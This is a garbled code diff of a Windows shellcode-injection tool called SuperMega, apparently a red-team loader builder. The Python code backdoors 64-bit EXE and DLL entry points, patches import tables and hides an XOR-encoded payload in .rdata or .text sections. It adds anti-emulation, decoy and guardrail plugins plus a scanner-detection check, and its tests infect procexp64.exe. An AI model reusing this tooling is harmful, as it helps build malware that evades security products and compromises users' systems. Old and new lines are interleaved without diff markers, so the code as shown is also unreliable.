if self.superpe.is_dll() and self.settings.dllfunc != "": # DLL
|
||||
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
|
||||
# Handled above
|
||||
raise Exception("We should not land here")
|
||||
|
||||
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
|
||||
addr = self.superpe.getExportEntryPoint(self.settings.dllfunc)
|
||||
logger.info("---( Inject DLL: Backdoor {} (0x{:X})".format(
|
||||
self.settings.dllfunc, addr))
|
||||
self.function_backdoorer.backdoor_function(
|
||||
addr, self.carrier_rva, carrier_shc_len)
|
||||
|
||||
else: # EXE
|
||||
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
|
||||
logger.info("---( Inject EXE: Change Entry Point to 0x{:X}".format(
|
||||
self.carrier_rva))
|
||||
self.superpe.set_entrypoint(self.carrier_rva)
|
||||
|
||||
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
|
||||
addr = self.superpe.get_entrypoint()
|
||||
logger.info("---( Inject EXE: Backdoor function at entrypoint (0x{:X})".format(
|
||||
addr))
|
||||
self.function_backdoorer.backdoor_function(
|
||||
addr, self.carrier_rva, carrier_shc_len)
|
||||
|
||||
logger.info("--( Fix imports and make carrier reference IAT")
|
||||
self.injectable_write_iat_references()
|
||||
logger.info("--( Insert and reference carrier data")
|
||||
self.inject_and_reference_data()
|
||||
|
||||
# changes from console to UI (no console window) if necessary
|
||||
self.superpe.patch_subsystem()
|
||||
|
||||
# We done
|
||||
logger.info("--( Write to file: {}".format(exe_out))
|
||||
self.superpe.write_pe_to_file(exe_out)
|
||||
|
||||
# Log
|
||||
code = file_readall_binary(exe_out)
|
||||
in_code = code[carrier_offset:carrier_offset+carrier_shc_len]
|
||||
observer.add_code_file("carrier_exe", in_code)
|
||||
|
||||
|
||||
def injectable_patch_iat(self):
|
||||
# Patch IAT (if necessary and wanted)
|
||||
for iatRequest in self.injectable.get_all_iat_requests():
|
||||
# skip available
|
||||
addr = self.superpe.get_vaddr_of_iatentry(iatRequest.name)
|
||||
if addr != None:
|
||||
logger.info("---[ Request IAT {} is available at 0x{:X}".format(
|
||||
iatRequest.name, addr))
|
||||
continue
|
||||
iat_name = self.superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name)
|
||||
|
||||
if not self.settings.fix_missing_iat:
|
||||
raise Exception("Error: {} not available, but fix_missing_iat is False".format(
|
||||
iatRequest.name))
|
||||
# do the patch
|
||||
self.superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name)
|
||||
#logger.info(" Unavailable IAT {} now patched".format(
|
||||
# iatRequest.name))
|
||||
# we modify the IAT raw, so reparsing is required
|
||||
self.superpe.pe.parse_data_directories()
|
||||
self.superpe.init_iat_entries()
|
||||
|
||||
|
||||
def injectable_write_iat_references(self):
|
||||
"""replace IAT-placeholders in shellcode with call's to the IAT"""
|
||||
code = self.superpe.get_code_section_data()
|
||||
for iatRequest in self.injectable.get_all_iat_requests():
|
||||
for placeholder in iatRequest.references:
|
||||
if not placeholder in code:
|
||||
raise Exception("IatResolve ID {} not found, abort".format(placeholder))
|
||||
offset_from_code = code.index(placeholder)
|
||||
|
||||
# Note that the SuperPe may already have been patched for new IAT imports
|
||||
destination_virtual_address = self.superpe.get_vaddr_of_iatentry(iatRequest.name)
|
||||
if destination_virtual_address == None:
|
||||
raise Exception("IatResolve: Function {} not found".format(iatRequest.name))
|
||||
|
||||
instruction_virtual_address = offset_from_code + self.injectable.superpe.get_image_base() + self.superpe.get_code_section().VirtualAddress
|
||||
logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X} ({})".format(
|
||||
placeholder.hex(),
|
||||
instruction_virtual_address,
|
||||
destination_virtual_address,
|
||||
iatRequest.name
|
||||
))
|
||||
jmp = assemble_relative_call(instruction_virtual_address, destination_virtual_address)
|
||||
if len(jmp) != len(placeholder):
|
||||
raise Exception("IatResolve: Call to IAT has different length than placeholder: {} != {} abort".format(
|
||||
len(jmp), len(placeholder)
|
||||
))
|
||||
code = code.replace(placeholder, jmp)
|
||||
|
||||
self.superpe.write_code_section_data(code)
|
||||
|
||||
|
||||
def inject_and_reference_data(self):
|
||||
"""Inject data into .rdata/.text and replace reusedata_fixup placeholders in code with LEA"""
|
||||
reusedata_fixups: List[DataReuseEntry] = self.injectable.get_all_reusedata_fixups()
|
||||
if len(reusedata_fixups) == 0:
|
||||
# nothing todo
|
||||
return
|
||||
|
||||
# Note that the SuperPe may already have been patched for new IAT imports
|
||||
destination_virtual_address = superpe.get_vaddr_of_iatentry(iatRequest.name)
|
||||
if destination_virtual_address == None:
|
||||
raise Exception("IatResolve: Function {} not found".format(iatRequest.name))
|
||||
shellcode_offset = self.superpe.pe.get_offset_from_rva(self.payload_rva)
|
||||
|
||||
instruction_virtual_address = offset_from_code + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress
|
||||
logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X}".format(
|
||||
iatRequest.placeholder.hex(), instruction_virtual_address, destination_virtual_address
|
||||
))
|
||||
jmp = assemble_relative_call(instruction_virtual_address, destination_virtual_address)
|
||||
if len(jmp) != len(iatRequest.placeholder):
|
||||
raise Exception("IatResolve: Call to IAT has different length than placeholder, abort")
|
||||
code = code.replace(iatRequest.placeholder, jmp)
|
||||
# insert data
|
||||
logger.info("---( DataReuseFixups: Inject the data")
|
||||
for datareuse_fixup in reusedata_fixups:
|
||||
logger.debug(" Handling DataReuse Fixup: {} (.code: {})".format(
|
||||
datareuse_fixup.string_ref, datareuse_fixup.in_code))
|
||||
|
||||
superpe.write_code_section_data(code)
|
||||
if datareuse_fixup.in_code: # .text
|
||||
self.superpe.pe.set_bytes_at_offset(shellcode_offset, datareuse_fixup.data)
|
||||
payload_rva = self.superpe.pe.get_rva_from_offset(shellcode_offset)
|
||||
datareuse_fixup.addr = payload_rva + self.injectable.superpe.get_image_base()
|
||||
logging.info(" Add to .text at 0x{:X} ({}): {} with size {}".format(
|
||||
datareuse_fixup.addr, payload_rva, datareuse_fixup.string_ref, len(datareuse_fixup.data)))
|
||||
|
||||
else: # .rdata
|
||||
rdata_manager = self.superpe.get_rdata_rangemanager()
|
||||
# get a hole in the .rdata section to put our data
|
||||
hole_rva = rdata_manager.find_hole(len(datareuse_fixup.data))
|
||||
if hole_rva == None:
|
||||
raise Exception("No suitable hole with size {} found in .rdata section, abort".format(
|
||||
len(datareuse_fixup.data)
|
||||
))
|
||||
rdata_manager.add_range(hole_rva[0], hole_rva[1]+1) # mark it as used
|
||||
|
||||
def injected_fix_data(superpe: SuperPe, carrier: Carrier):
|
||||
"""Inject shellcode-data into .rdata and replace reusedata_fixup placeholders in code with LEA"""
|
||||
# Insert my data into the .rdata section.
|
||||
# Chose and save each datareuse_fixup's addres.
|
||||
reusedata_fixups: List[DataReuseEntry] = carrier.get_all_reusedata_fixups()
|
||||
if len(reusedata_fixups) == 0:
|
||||
# nothing todo
|
||||
return
|
||||
|
||||
# Put stuff into .rdata section in the PE
|
||||
peSection = carrier.superpe.get_section_by_name(".rdata")
|
||||
if peSection == None:
|
||||
raise Exception("No .rdata section found, abort")
|
||||
|
||||
rm = carrier.superpe.get_rdata_relocmanager()
|
||||
var_data = datareuse_fixup.data
|
||||
data_rva = hole_rva[0]
|
||||
self.superpe.pe.set_bytes_at_rva(data_rva, var_data)
|
||||
datareuse_fixup.addr = data_rva + self.injectable.superpe.get_image_base()
|
||||
logging.info(" Add to .rdata at 0x{:X} ({}): {}: {}".format(
|
||||
datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data)))
|
||||
|
||||
if True: # FIXME this is a hack which is sometimes necessary
|
||||
sect_data_copy = peSection.pefile_section.get_data()
|
||||
string_off = find_first_utf16_string_offset(sect_data_copy)
|
||||
if string_off == None:
|
||||
raise Exception("Strings not found in .rdata section, abort")
|
||||
if string_off < 128:
|
||||
logging.debug("weird: Strings in .rdata section at offset {} < 100".format(string_off))
|
||||
string_off = 128
|
||||
rm.add_range(peSection.virt_addr, peSection.virt_addr + string_off)
|
||||
# replace the placeholder in .text with a LEA instruction to the data we written above
|
||||
logger.info("---( Datareusefixups: patch code to reference the data")
|
||||
code = self.superpe.get_code_section_data()
|
||||
for datareuse_fixup in reusedata_fixups:
|
||||
ref: DataReuseReference
|
||||
for ref in datareuse_fixup.references:
|
||||
if not ref.placeholder in code:
|
||||
raise Exception("fix data in injectable: DataReuse: ID {} ({}) not found in code section, abort".format(
|
||||
ref.placeholder.hex(), datareuse_fixup.string_ref))
|
||||
|
||||
offset_from_datasection = code.index(ref.placeholder)
|
||||
instruction_virtual_address = offset_from_datasection + self.superpe.get_image_base() + self.superpe.get_code_section().VirtualAddress
|
||||
destination_virtual_address = datareuse_fixup.addr
|
||||
logger.info(" Replace bytes {} at VA 0x{:X} with: LEA {} .rdata 0x{:X}".format(
|
||||
ref.placeholder.hex(), instruction_virtual_address, ref.register, destination_virtual_address
|
||||
))
|
||||
lea = assemble_lea(
|
||||
instruction_virtual_address, destination_virtual_address, ref.register
|
||||
)
|
||||
asm_disasm(lea, instruction_virtual_address) # DEBUG
|
||||
if len(lea) != len(ref.placeholder):
|
||||
raise Exception("DataReuseFixup: lea instr has different length than placeholder: {} != {} abort".format(
|
||||
len(lea), len(ref.placeholder)
|
||||
))
|
||||
code = code.replace(ref.placeholder, lea)
|
||||
|
||||
# Do all .rdata patches
|
||||
logger.info("---( Patch: .rdata")
|
||||
for datareuse_fixup in reusedata_fixups:
|
||||
logger.info(" Handling DataReuse Fixup: {} <- {}".format(
|
||||
datareuse_fixup.string_ref, datareuse_fixup.randbytes.hex()))
|
||||
|
||||
# get a hole in the .rdata section to put our data
|
||||
hole_rva = rm.find_hole(len(datareuse_fixup.data))
|
||||
if hole_rva == None:
|
||||
raise Exception("No suitable hole with size {} found in .rdata section, abort".format(
|
||||
len(datareuse_fixup.data)
|
||||
))
|
||||
rm.add_range(hole_rva[0], hole_rva[1]+1) # mark it as used
|
||||
|
||||
var_data = datareuse_fixup.data
|
||||
data_rva = hole_rva[0]
|
||||
superpe.pe.set_bytes_at_rva(data_rva, var_data)
|
||||
datareuse_fixup.addr = data_rva + carrier.superpe.get_image_base()
|
||||
logging.info(" Add to .rdata at 0x{:X} ({}): {}: {}".format(
|
||||
datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data)))
|
||||
|
||||
# patch code section
|
||||
# replace the placeholder with a LEA instruction to the data we written above
|
||||
logger.info("---( Patch: .text")
|
||||
code = superpe.get_code_section_data()
|
||||
for datareuse_fixup in reusedata_fixups:
|
||||
if not datareuse_fixup.randbytes in code:
|
||||
raise Exception("fix data in injectable: DataReuse: ID {} ({}) not found in code section, abort".format(
|
||||
datareuse_fixup.randbytes.hex(), datareuse_fixup.string_ref))
|
||||
|
||||
offset_from_datasection = code.index(datareuse_fixup.randbytes)
|
||||
instruction_virtual_address = offset_from_datasection + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress
|
||||
destination_virtual_address = datareuse_fixup.addr
|
||||
logger.info(" Replace bytes {} at VA 0x{:X} with: LEA {} .rdata 0x{:X}".format(
|
||||
datareuse_fixup.randbytes.hex(), instruction_virtual_address, datareuse_fixup.register, destination_virtual_address
|
||||
))
|
||||
lea = assemble_lea(
|
||||
instruction_virtual_address, destination_virtual_address, datareuse_fixup.register
|
||||
)
|
||||
asm_disasm(lea, instruction_virtual_address) # DEBUG
|
||||
if len(lea) != len(datareuse_fixup.randbytes):
|
||||
raise Exception("IatResolve: Call to IAT has different length than placeholder, abort")
|
||||
code = code.replace(datareuse_fixup.randbytes, lea)
|
||||
|
||||
superpe.write_code_section_data(code)
|
||||
self.superpe.write_code_section_data(code)
|
||||
|
||||
|
||||
def verify_injected_exe(exefile: FilePath, dllfunc="") -> int:
|
||||
@@ -251,5 +292,3 @@ def verify_injected_exe(exefile: FilePath, dllfunc="") -> int:
|
||||
else:
|
||||
logger.error("---> Verify FAIL. Infected exe does not work (no file created)")
|
||||
return 1
|
||||
|
||||
|
||||
|
||||
+3
-3
@@ -100,7 +100,7 @@ def masm_shc(asm_text_lines: List[str]) -> str:
|
||||
g_is32bit = True
|
||||
|
||||
if tokens[0] == "EXTRN":
|
||||
print(f"[ERROR] Line {line_count + 1}: External dependency detected:\n{line}")
|
||||
raise Exception(f"[ERROR] Line {line_count + 1}: External dependency detected:\n{line}")
|
||||
|
||||
in_skipped = False
|
||||
in_const = False
|
||||
@@ -127,7 +127,7 @@ def masm_shc(asm_text_lines: List[str]) -> str:
|
||||
logger.debug("[INFO] Entry Point: AlignRSP")
|
||||
|
||||
if seg_name == "_BSS":
|
||||
logger.error(f"[ERROR] Line {line_count + 1}: _BSS segment detected! Remove all global and static variables!\n")
|
||||
raise Exception(f"[ERROR] Line {line_count + 1}: _BSS segment detected! Remove all global and static variables!\n")
|
||||
|
||||
if seg_name in ("pdata", "xdata", "voltbl"):
|
||||
in_skipped = True
|
||||
@@ -145,7 +145,7 @@ def masm_shc(asm_text_lines: List[str]) -> str:
|
||||
if tokens[1] in ("LIBCMT", "OLDNAMES"):
|
||||
ofile.write(f"; {line}\n") # copy commented out line
|
||||
continue
|
||||
print(f"[ERROR] Line {line_count + 1}: INCLUDELIB detected! Remove all external dependencies!\n")
|
||||
raise Exception(f"[ERROR] Line {line_count + 1}: INCLUDELIB detected! Remove all external dependencies!\n")
|
||||
|
||||
if params.inline_strings and in_const:
|
||||
if tokens[1] == "DB":
|
||||
|
||||
+43
-5
@@ -23,12 +23,31 @@ def get_template_names() -> List[str]:
|
||||
|
||||
|
||||
def create_c_from_template(settings: Settings, payload_len: int):
|
||||
logger.info("--( Create C from template: {} -> {}".format(
|
||||
logger.info("-( Create C from template: {} -> {}".format(
|
||||
PATH_DECODER, settings.main_c_path))
|
||||
plugin_decoder = ""
|
||||
|
||||
# Decoder
|
||||
filepath_decoder = PATH_DECODER + "{}.c".format(settings.decoder_style.value)
|
||||
# Plugin: VirtualAlloc
|
||||
filepath_virtualprotect = PATH_VIRTUALPROTECT + "{}.c".format(
|
||||
settings.plugin_virtualprotect)
|
||||
with open(filepath_virtualprotect, "r", encoding='utf-8') as file:
|
||||
plugin_virtualprotect = file.read()
|
||||
plugin_virtualprotect = Template(plugin_virtualprotect).render({
|
||||
'virtualprotect_data': settings.plugin_virtualprotect_data,
|
||||
})
|
||||
|
||||
# Plugin: Execution Guardrails
|
||||
filepath_guardrails = PATH_GUARDRAILS + "{}.c".format(
|
||||
settings.plugin_guardrail)
|
||||
with open(filepath_guardrails, "r", encoding='utf-8') as file:
|
||||
plugin_guardrails = file.read()
|
||||
plugin_guardrails = Template(plugin_guardrails).render({
|
||||
'guardrail_data': settings.plugin_guardrail_data,
|
||||
})
|
||||
|
||||
# Plugin: Decoder
|
||||
filepath_decoder = PATH_DECODER + "{}.c".format(
|
||||
settings.decoder_style)
|
||||
with open(filepath_decoder, "r", encoding='utf-8') as file:
|
||||
plugin_decoder = file.read()
|
||||
plugin_decoder = Template(plugin_decoder).render({
|
||||
@@ -37,16 +56,35 @@ def create_c_from_template(settings: Settings, payload_len: int):
|
||||
'XOR_KEY2': ascii_to_hex_bytes(config.xor_key2),
|
||||
})
|
||||
|
||||
# Choose correct template
|
||||
# Plugin: Anti-Emulation
|
||||
filepath_antiemulation = PATH_ANTIEMULATION + "{}.c".format(
|
||||
settings.plugin_antiemulation)
|
||||
with open(filepath_antiemulation, "r", encoding='utf-8') as file:
|
||||
plugin_antiemualation = file.read()
|
||||
plugin_antiemualation = Template(plugin_antiemualation).render({
|
||||
'PAYLOAD_LEN': payload_len,
|
||||
})
|
||||
|
||||
# Plugin: Decoy
|
||||
filepath_decoy = PATH_DECOY + "{}.c".format(
|
||||
settings.plugin_decoy)
|
||||
with open(filepath_decoy, "r", encoding='utf-8') as file:
|
||||
plugin_decoy = file.read()
|
||||
|
||||
# Choose template
|
||||
dirpath = PATH_CARRIER + settings.carrier_name + "/template.c"
|
||||
with open(dirpath, 'r', encoding='utf-8') as file:
|
||||
template_content = file.read()
|
||||
observer.add_text_file("main_c_template", template_content)
|
||||
|
||||
# Render template
|
||||
template = Template(template_content)
|
||||
rendered_template = template.render({
|
||||
'plugin_decoder': plugin_decoder,
|
||||
'plugin_antiemulation': plugin_antiemualation,
|
||||
'plugin_decoy': plugin_decoy,
|
||||
'plugin_executionguardrail': plugin_guardrails,
|
||||
'PAYLOAD_LEN': payload_len,
|
||||
'plugin_virtualprotect': plugin_virtualprotect,
|
||||
})
|
||||
with open(settings.main_c_path, "w", encoding='utf-8') as file:
|
||||
file.write(rendered_template)
|
||||
|
||||
@@ -1,44 +0,0 @@
|
||||
import sys
|
||||
|
||||
from model.defs import *
|
||||
from pe.superpe import SuperPe
|
||||
|
||||
|
||||
def main(filename: str, current_base: int):
|
||||
print("Handling: {}".format(filename))
|
||||
superpe = SuperPe(filename)
|
||||
|
||||
r = {}
|
||||
relocation: PeRelocEntry
|
||||
for relocation in superpe.get_base_relocs():
|
||||
if relocation.base_rva in r:
|
||||
r[relocation.base_rva] += 1
|
||||
else:
|
||||
r[relocation.base_rva] = 1
|
||||
|
||||
#print("Base: 0x{:X} RVA: 0x{:X} Offset: {} Type: {}".format(
|
||||
# relocation.base_rva,
|
||||
# relocation.rva,
|
||||
# relocation.offset,
|
||||
# relocation.type,
|
||||
#))
|
||||
|
||||
sum = 0
|
||||
for base, count in r.items():
|
||||
print("0x{:X}: {}".format(base, count))
|
||||
sum += count
|
||||
print("Sum: {}".format(sum))
|
||||
|
||||
print("Image Base : 0x{:X}".format(superpe.get_image_base()))
|
||||
print("Current Base: 0x{:X}".format(current_base))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) != 3:
|
||||
print("./relokator <filename> <base>")
|
||||
exit(1)
|
||||
|
||||
filename = sys.argv[1]
|
||||
current_base = int(sys.argv[2], 16)
|
||||
main(filename, current_base)
|
||||
|
||||
+44
-51
@@ -1,4 +1,3 @@
|
||||
import shutil
|
||||
import argparse
|
||||
from typing import Dict
|
||||
import os
|
||||
@@ -12,19 +11,21 @@ import phases.compiler
|
||||
import phases.assembler
|
||||
import phases.injector
|
||||
from observer import observer
|
||||
from pe.pehelper import extract_code_from_exe_file_ep
|
||||
from pe.pehelper import preload_dll
|
||||
from sender import scannerDetectsBytes
|
||||
from model.project import Project, prepare_project
|
||||
from model.settings import Settings
|
||||
from model.defs import *
|
||||
from log import setup_logging
|
||||
from model.carrier import Carrier, DataReuseEntry, IatRequest
|
||||
from model.injectable import DataReuseEntry
|
||||
from utils import check_deps
|
||||
|
||||
|
||||
def main():
|
||||
"""Argument parsing for when called from command line"""
|
||||
logger.info("Super Mega")
|
||||
config.load()
|
||||
check_deps()
|
||||
settings = Settings()
|
||||
|
||||
parser = argparse.ArgumentParser(description='SuperMega shellcode loader')
|
||||
@@ -55,12 +56,7 @@ def main():
|
||||
if args.carrier:
|
||||
settings.carrier_name = args.carrier
|
||||
if args.decoder:
|
||||
if args.decoder == "plain_1":
|
||||
settings.decoder_style = DecoderStyle.PLAIN_1
|
||||
elif args.decoder == "xor_1":
|
||||
settings.decoder_style = DecoderStyle.XOR_1
|
||||
elif args.decoder == "xor_2":
|
||||
settings.decoder_style = DecoderStyle.XOR_2
|
||||
settings.decoder_style = args.decoder
|
||||
if args.inject:
|
||||
if args.carrier_invoke == "eop":
|
||||
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
|
||||
@@ -84,6 +80,10 @@ def main():
|
||||
logger.info("Could not find: {}".format(args.inject))
|
||||
return
|
||||
settings.inject_exe_in = args.inject
|
||||
settings.inject_exe_out = "{}{}".format(
|
||||
settings.main_dir,
|
||||
os.path.basename(args.inject).replace(".exe", ".injected.exe")
|
||||
)
|
||||
settings.inject_exe_out = args.inject.replace(".exe", ".infected.exe").replace(".dll", ".infected.dll")
|
||||
|
||||
write_webproject("default", settings)
|
||||
@@ -109,7 +109,7 @@ def start(settings: Settings) -> int:
|
||||
prepare_project(settings.project_name, settings)
|
||||
|
||||
# Do the thing and catch the errors
|
||||
if False:
|
||||
if True:
|
||||
start_real(settings)
|
||||
else:
|
||||
try:
|
||||
@@ -137,26 +137,37 @@ def start_real(settings: Settings):
|
||||
project.init()
|
||||
|
||||
# CHECK if 64 bit
|
||||
if not project.carrier.superpe.is_64():
|
||||
if not project.injectable.superpe.is_64():
|
||||
raise Exception("Binary is not 64bit: {}".format(project.settings.inject_exe_in))
|
||||
|
||||
logger.info("--[ Config: {} {} {} {}".format(
|
||||
project.settings.carrier_name,
|
||||
settings.payload_location.value,
|
||||
project.settings.decoder_style.value,
|
||||
project.settings.decoder_style,
|
||||
project.settings.carrier_invoke_style.value))
|
||||
|
||||
# CREATE: Carrier C source files from template (C->C)
|
||||
phases.templater.create_c_from_template(settings, project.payload.len)
|
||||
logger.info("--[ Plugins: AntiEmulation={} Decoy={} Guardrail={}".format(
|
||||
project.settings.plugin_antiemulation,
|
||||
project.settings.plugin_decoy,
|
||||
project.settings.plugin_guardrail)
|
||||
)
|
||||
|
||||
# FIXUP DLL Payload
|
||||
# Prepare DLL payload for usage in dll_loader_change
|
||||
# This needs to be done before rendering the C templates, as need
|
||||
# the real size of the payload
|
||||
if project.settings.carrier_name == "dll_loader_change":
|
||||
project.payload.payload_data = preload_dll(project.payload.payload_path)
|
||||
|
||||
# CREATE: Carrier C source files from template (C->C)
|
||||
phases.templater.create_c_from_template(settings, len(project.payload.payload_data))
|
||||
|
||||
# If we put the payload into .rdata
|
||||
# PREPARE DataReuseEntry for usage in Compiler/AsmTextParser
|
||||
if settings.payload_location == PayloadLocation.DATA:
|
||||
logger.info("--[ Load payload for use in .rdata injection")
|
||||
project.carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
|
||||
entry = project.carrier.get_reusedata_fixup("supermega_payload")
|
||||
entry.data = phases.assembler.encode_payload(
|
||||
project.payload.payload_data, settings.decoder_style) # encrypt
|
||||
# So the carrier is able to find the payload
|
||||
project.injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload", in_code=True))
|
||||
entry = project.injectable.get_reusedata_fixup("supermega_payload")
|
||||
entry.data = phases.assembler.encode_payload(
|
||||
project.payload.payload_data, settings.decoder_style) # encrypt
|
||||
observer.add_code_file("payload", project.payload.payload_data)
|
||||
|
||||
# COMPILE: Carrier to .asm (C -> ASM)
|
||||
@@ -164,17 +175,14 @@ def start_real(settings: Settings):
|
||||
phases.compiler.compile(
|
||||
c_in = settings.main_c_path,
|
||||
asm_out = settings.main_asm_path,
|
||||
carrier = project.carrier,
|
||||
injectable = project.injectable,
|
||||
settings = project.settings)
|
||||
|
||||
# we have the carrier-required IAT entries in carrier.iat_requests
|
||||
# CHECK if all are available in infectable, or abort (early check)
|
||||
functions = project.carrier.get_unresolved_iat()
|
||||
if len(functions) != 0:
|
||||
if settings.fix_missing_iat:
|
||||
logger.info("--[ Fixing missing IAT entries: {}".format(", ".join(functions)))
|
||||
else:
|
||||
raise Exception("IAT entry not found: {}".format(", ".join(functions)))
|
||||
functions = project.injectable.get_unresolved_iat()
|
||||
if len(functions) != 0 and settings.fix_missing_iat == False:
|
||||
raise Exception("IAT entry not found: {}".format(", ".join(functions)))
|
||||
|
||||
# ASSEMBLE: Assemble .asm to .shc (ASM -> SHC)
|
||||
if settings.generate_shc_from_asm:
|
||||
@@ -183,29 +191,14 @@ def start_real(settings: Settings):
|
||||
build_exe = settings.main_exe_path)
|
||||
observer.add_code_file("carrier_shc", carrier_shellcode)
|
||||
|
||||
# MERGE: shellcode/loader with payload (SHC + PAYLOAD -> SHC)
|
||||
if settings.payload_location == PayloadLocation.CODE:
|
||||
logger.info("--[ Merge carrier with payload for .text injection".format())
|
||||
full_shellcode = phases.assembler.merge_loader_payload(
|
||||
shellcode_in = carrier_shellcode,
|
||||
payload_data = project.payload.payload_data,
|
||||
decoder_style = settings.decoder_style)
|
||||
#observer.add_code_file("full_shc", full_shellcode)
|
||||
else:
|
||||
# shellcode is in .rdata, so we dont need to merge
|
||||
full_shellcode = carrier_shellcode
|
||||
|
||||
# RWX Injection (optional): obfuscate loader+payload
|
||||
#if project.exe_host.rwx_section != None:
|
||||
# logger.info("--[ RWX section {} found. Will obfuscate loader+payload and inject into it".format(
|
||||
# project.exe_host.rwx_section.Name.decode().rstrip('\x00')
|
||||
# ))
|
||||
# obfuscate_shc_loader(settings.main_shc_path, settings.main_shc_path + ".sgn")
|
||||
# observer.add_code_file("payload_sgn", file_readall_binary(settings.main_shc_path + ".sgn"))
|
||||
# shutil.move(settings.main_shc_path + ".sgn", settings.main_shc_path)
|
||||
|
||||
# inject (merged) loader into an exe. Big task.
|
||||
phases.injector.inject_exe(full_shellcode, settings, project.carrier)
|
||||
# INJECT loader into an exe and do IAT & data references. Big task.
|
||||
injector = phases.injector.Injector(
|
||||
carrier_shellcode,
|
||||
project.payload,
|
||||
project.injectable,
|
||||
settings)
|
||||
|
||||
injector.inject_exe()
|
||||
#observer.add_code_file("exe_final", extract_code_from_exe_file_ep(settings.inject_exe_out, 300))
|
||||
|
||||
# Check binary with avred
|
||||
|
||||
@@ -11,15 +11,45 @@ from model.project import prepare_project
|
||||
|
||||
|
||||
def main():
|
||||
logger.info("Super Mega Tester")
|
||||
logger.info("Super Mega Tester: " + os.path.dirname(VerifyFilename))
|
||||
config.load()
|
||||
|
||||
if not os.path.exists(os.path.dirname(VerifyFilename)):
|
||||
print("{} directory does not exist".format(os.path.dirname(VerifyFilename)))
|
||||
return
|
||||
|
||||
test_dll_loader()
|
||||
test_exe_code()
|
||||
test_exe_data()
|
||||
test_dll_code()
|
||||
test_dll_data()
|
||||
|
||||
|
||||
def test_dll_loader():
|
||||
print("Testing: DLL Loader")
|
||||
settings = Settings("unittest")
|
||||
settings.payload_path = PATH_SHELLCODES + "createfile.dll"
|
||||
settings.verify = True
|
||||
settings.try_start_final_infected_exe = False
|
||||
settings.payload_location = PayloadLocation.CODE
|
||||
|
||||
print("Test DLL Loader 1/2: procexp, backdoor main, dll loader alloc")
|
||||
settings.carrier_name = "dll_loader_alloc"
|
||||
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
|
||||
settings.inject_exe_in = PATH_EXES + "procexp64.exe"
|
||||
settings.inject_exe_out = PATH_EXES + "procexp64.verify.exe"
|
||||
if start(settings) != 0:
|
||||
print("Error")
|
||||
|
||||
print("Test DLL Loader 2/2: procexp, backdoor main, dll loader change")
|
||||
settings.carrier_name = "dll_loader_change"
|
||||
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
|
||||
settings.inject_exe_in = PATH_EXES + "procexp64.exe"
|
||||
settings.inject_exe_out = PATH_EXES + "procexp64.verify.exe"
|
||||
if start(settings) != 0:
|
||||
print("Error")
|
||||
|
||||
|
||||
def test_exe_code():
|
||||
print("Testing: EXEs: Inject payload into .text")
|
||||
settings = Settings("unittest")
|
||||
@@ -220,6 +250,6 @@ def dll_iat_reuse():
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
#setup_logging(level=logging.INFO)
|
||||
setup_logging(level=logging.WARNING)
|
||||
setup_logging(level=logging.INFO)
|
||||
#setup_logging(level=logging.WARNING)
|
||||
main()
|
||||
|
||||
+21
-25
@@ -3,7 +3,7 @@ import unittest
|
||||
import logging
|
||||
|
||||
from model.defs import *
|
||||
from model.carrier import Carrier, DataReuseEntry
|
||||
from model.injectable import Injectable, DataReuseEntry
|
||||
from observer import observer
|
||||
from helper import *
|
||||
from phases.asmtextparser import parse_asm_text_file
|
||||
@@ -25,11 +25,11 @@ class AsmTest(unittest.TestCase):
|
||||
def test_asm_fixup(self):
|
||||
asm_in: FilePath = "tests/data/peb_walk_pre_fixup.asm"
|
||||
asm_text = file_readall_text(asm_in)
|
||||
carrier = Carrier("fake.exe")
|
||||
carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
|
||||
injectable = Injectable("fake.exe")
|
||||
injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
|
||||
settings: Settings = Settings()
|
||||
settings.payload_location = PayloadLocation.DATA
|
||||
asm_text_lines = parse_asm_text_file(carrier, asm_text, settings)
|
||||
asm_text_lines = parse_asm_text_file(injectable, asm_text, settings)
|
||||
|
||||
# cmp DWORD PTR n$1[rsp], 11223344 ; 00ab4130H
|
||||
# cmp DWORD PTR n$1[rsp], 272 ; 00ab4130H
|
||||
@@ -42,30 +42,26 @@ class AsmTest(unittest.TestCase):
|
||||
# lea r8, [shcstart]
|
||||
#self.assertTrue("lea r8, [shcstart]" in asm_text_lines[198-1-1])
|
||||
self.assertTrue("DB 0" in asm_text_lines[198-1-1])
|
||||
self.assertTrue("supermega_payload" not in asm_text_lines[198-1-1])
|
||||
|
||||
# shcstart:
|
||||
self.assertTrue("shcstart:" in asm_text_lines[213-1-1])
|
||||
|
||||
|
||||
def test_asm_iat_request(self):
|
||||
asm_in: FilePath = "tests/data/iat_reuse_pre_fixup.asm"
|
||||
asm_text = file_readall_text(asm_in)
|
||||
carrier = Carrier("fake.exe")
|
||||
carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
|
||||
injectable = Injectable("fake.exe")
|
||||
injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
|
||||
settings: Settings = Settings()
|
||||
settings.payload_location = PayloadLocation.DATA
|
||||
asm_text_lines = parse_asm_text_file(carrier, asm_text, settings)
|
||||
asm_text_lines = parse_asm_text_file(injectable, asm_text, settings)
|
||||
|
||||
self.assertEqual(len(carrier.iat_requests), 2)
|
||||
self.assertEqual(len(injectable.iat_requests), 2)
|
||||
|
||||
